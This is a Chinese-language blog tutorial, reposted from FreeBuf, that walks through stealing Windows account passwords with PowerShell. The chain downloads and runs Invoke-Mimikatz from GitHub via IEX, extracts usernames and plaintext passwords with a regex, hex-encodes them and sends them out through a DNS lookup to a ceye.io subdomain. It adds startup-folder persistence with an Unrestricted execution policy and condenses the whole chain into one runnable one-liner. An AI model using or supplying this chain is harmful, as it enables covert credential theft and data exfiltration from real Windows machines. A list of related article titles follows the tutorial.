利用Powershell和ceye.io实现Windows账户密码回传
利用Powershell和ceye.io实现Windows账户密码回传
转自:http://www.freebuf.com/articles/system/129068.html
最近在研究Powershell的使用,之前我一直不习惯Windows的主要原因是他那孱弱的命令行工具,稍微了解了Powershell之后差点跪下了,真的是一款非常了不起的工具。powershell的定义是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。简单的理解就是像linux下的bash。powershell有着诸多的优点,但是仅凭无文件和操作系统自带这两大优点基本上确定了他的地位。mimikatz是一款黑客后渗透(不是提权)神器,其中一个功能是在管理员账户下获取Windows明文密码,现在也有powershell版本了。我想测试的流程就是通过powershell获取Windows信息之后提取关键的用户名和密码,将用户名和密码转码之后访问ceye.io,这样就可以拿到Windows账户信息了.
0×01 mimikatz获取Windows内容保存到变量
mimikatz现在已经有powershell版本了,而且是http传输,进行免杀要比exe容易,这里不探讨免杀的内容。
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');
$Mimikatzinfo = invoke-mimikatz;
$Mimikatzinfo
0×02 利用powershell正则表达式提取关键内容
分析字段,我们想要的是Username和Password之后的内容,powershell继承的是.net的表达式语法,实现上和python多少有点不同,查了半天资料总算实现了
$Mimikatzinfo = invoke-mimikatz;
$regex = [regex]".*Username : (.*?)\n.*\n.*Password : (.*?)\n";
$word = ($regex.Matches($Mimikatzinfo)| %{$_.value})
想要的内容是word的第三个组
$username=$word[2].split("*")[1].split(":")[1];
$password=$word[2].split("*")[3].split(":")[1];
$full=$username.trim()+"_"+$password.trim();
0×03 转码访问
域名中不允许包含特殊字符,也出于绕过的想法,将用户名和密码进行16进制转换然后再访问(ceye.io要换成自己的)
$ab = [System.Text.Encoding]::UTF8.GetBytes($full);
$luffy=[System.BitConverter]::ToString($ab);$onepiece=$luffy.replace("-","");
$wc=new-object System.Net.webclient;$result=$wc.downloadstring("http://"+$onepiece+".sss.ceye.io");
0×04 实现开机自启动
新建1.cmd
PowerShell -Command "Set-ExecutionPolicy Unrestricted" >> "%TEMP%\StartupLog.txt" 2>&1
PowerShell C:\Users\Administrator\Desktop\script.ps1 >> "%TEMP%\StartupLog.txt" 2>&1
新建script.ps1,一句话实现上述功能
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');$Mimikatzinfo = invoke-mimikatz;$regex = [regex]".*Username : (.*?)\n.*\n.*Password : (.*?)\n";$word = ($regex.Matches($Mimikatzinfo)| %{$_.value});$username=$word[2].split("*")[1].split(":")[1];$password=$word[2].split("*")[3].split(":")[1];$full=$username.trim()+"_"+$password.trim();$ab = [System.Text.Encoding]::UTF8.GetBytes($full);$luffy=[System.BitConverter]::ToString($ab);$onepiece=$luffy.replace("-","");$wc=new-object System.Net.webclient;$result=$wc.downloadstring("http://"+$onepiece+".rzzz.ceye.io");
把1.cmd放到启动文件夹里
0×05 解码
$pass=""
$t="41646d696e6973747261746f725f6c7566667931323321"
$t -split '(.{2})' |%{ if ($_ -ne "") { $pass+=[CHAR]([CONVERT]::toint16("$_",16)) }}
write $pass
后记
powershell的强大不仅如此,对于黑客来说是一个超级宝库,现在针对powershell成型的黑客工具也越来越多,像是metasploit,powersploit,set。powershell的可编程和windows的紧密结合也可以实现各种各样的猥琐技巧,比如上面的利用启动文件夹实现开机自启动是很low的,powershell和wmi配合可以实现无文件启动。”路漫漫其修远兮 吾将上下而求索”。
利用Powershell和ceye.io实现Windows账户密码回传的更多相关文章
- 利用powershell进行windows日志分析
0x00 前言 Windows 中提供了 2 个分析事件日志的 PowerShell cmdlet:一个是Get-WinEvent,超级强大,但使用起来比较麻烦:另一个是Get-EventLog,使得 ...
- 利用PowerShell+Jenkins,实现项目的自动化部署
当项目越来越庞大,部署环境越来越多以后,就会越来越依赖于自动化.比如本人公司的项目,目前有6个web和4个windows service,同时本地有两套环境:开发自测试环境和QA测试环境.每次版本发布 ...
- SharePoint自动化部署,利用PowerShell 导入用户至AD——PART II
这是对上一篇文章<SharePoint自动化部署,利用PowerShell 导出/导入AD中的用户>进行补充.开发时,为了测试和演示,我们往往需要经常性的把用户添加到AD中.数据量小的时候 ...
- SharePoint自动化部署,利用PowerShell 导出/导入AD中的用户
这几个月一直在帮客户改需求,部署.我已经心力憔悴,经过一段时间的摸索,我对用PowerShell实现自动化部署也有了一些心得,比如说利用PowerShell导出导入AD中的User.在基于ShareP ...
- 利用Powershell查询AD中账号属性
标签:AD账号信息 最后登录时间 最后修改密码.SID 账号SID 原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://hubuxcg ...
- 如何利用PowerShell完成的Windows服务器系统安全加固实践和基线检测
0x00 前言简述 最近单位在做等保测评,由本人从事安全运维方面的工作(PS:曾经做过等保等方面的安全服务),所以自然而然的与信安的测评人员一起对接相关业务系统的检查,在做主机系统测评检查时发现了系统 ...
- HID高级攻击姿势:利用PowerShell脚本进行文件窃取
0×01 引言 又到了期中考试了,我又要去偷答案了,一直发现远程下载运行exe的方式不太好,容易报毒所以这里打算用ps脚本. 0×02 关于HID HID是Human Interface Device ...
- 利用PowerShell监控Win-Server性能
Q:如何系统层面的去监控一下Windows Server? A:额……一时间的话……能想到的可能也就是PowerShell+SQL Server+job,试试. 1.关于PowerShell 2.Po ...
- 利用PowerShell复制SQLServer账户的所有权限
问题 对于DBA或者其他运维人员来说授权一个账户的相同权限给另一个账户是一个很普通的任务.但是随着服务器.数据库.应用.使用人员地增加就变得很枯燥乏味又耗时费力的工作.那么有什么容易的办法来实现这个任 ...
随机推荐
- css3动画之1--animation小例子
1.首先看效果 2.代码及分析 <style type="text/css"> #div1 { margin:100px; position: absolute; te ...
- python--7、面向对象
什么是面向对象 对象,即抽象的一类事物中的某个具体的个体.这个世界中存在的一切皆为对象,不存在的也能创建出来. 较之面向过程的区别: 编程的复杂度远高于面向过程,不了解面向对象而立即上手基于它设计程序 ...
- Leetcode0024--Swap Nodes in Pairs 链表配对交换
[转载请注明]http://www.cnblogs.com/igoslly/p/8707274.html 来看一下题目: Given a linked list, swap every two adj ...
- Linux 与 Windows 文件互传(VMWare)
虚拟机无桌面的Linux 与 物理机Windows 文件互传有很多种方法,现在先说一种通过共享文件夹的形式,其他方法后续再补充 1. 背景 1) 虚拟机系统:VMWare无桌面的 ...
- DataTable如何去除重复的行
两种方法1 数据库直接去除重复select distinct * from 表名去除了重复行distinct 2 对 DataTable直接进行操作DataTable dt=db.GetDt(&quo ...
- 【转】linux命令
shell实例手册 0 说明{ 手册制作: 雪松 更新日期: 2015-11-02 欢迎系统运维加入Q群: 198173206 # 加群请回答问题 欢迎运维开发加入Q群: 3655344 ...
- windows 实时性
在硬件编程时,大部分非智能硬件并没有主动通知反馈功能,需要PC主动轮询状态寄存器去查询硬件状态.对于运动类控制器,查询的时机(间隔)在一定程度上影响着准确率与系统负载.即使不考虑系统负载,在1000H ...
- react基础篇二
组件 & Props & 生命周期 组件可以将UI切分成一些独立的.可复用的部件,这样你就只需专注于构建每一个单独的部件. 组件从概念上看就像是函数,它可以接收任意的输入值(称之为“p ...
- KVM之virsh管理虚拟机内存
调整内存 virsh setmem 命令帮助: [root@ubuntu ~]# virsh setmem --help NAME setmem - change memory allocation ...
- Wireshark 如何捕获网络流量数据包
转自:http://www.4hou.com/web/7465.html?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutia ...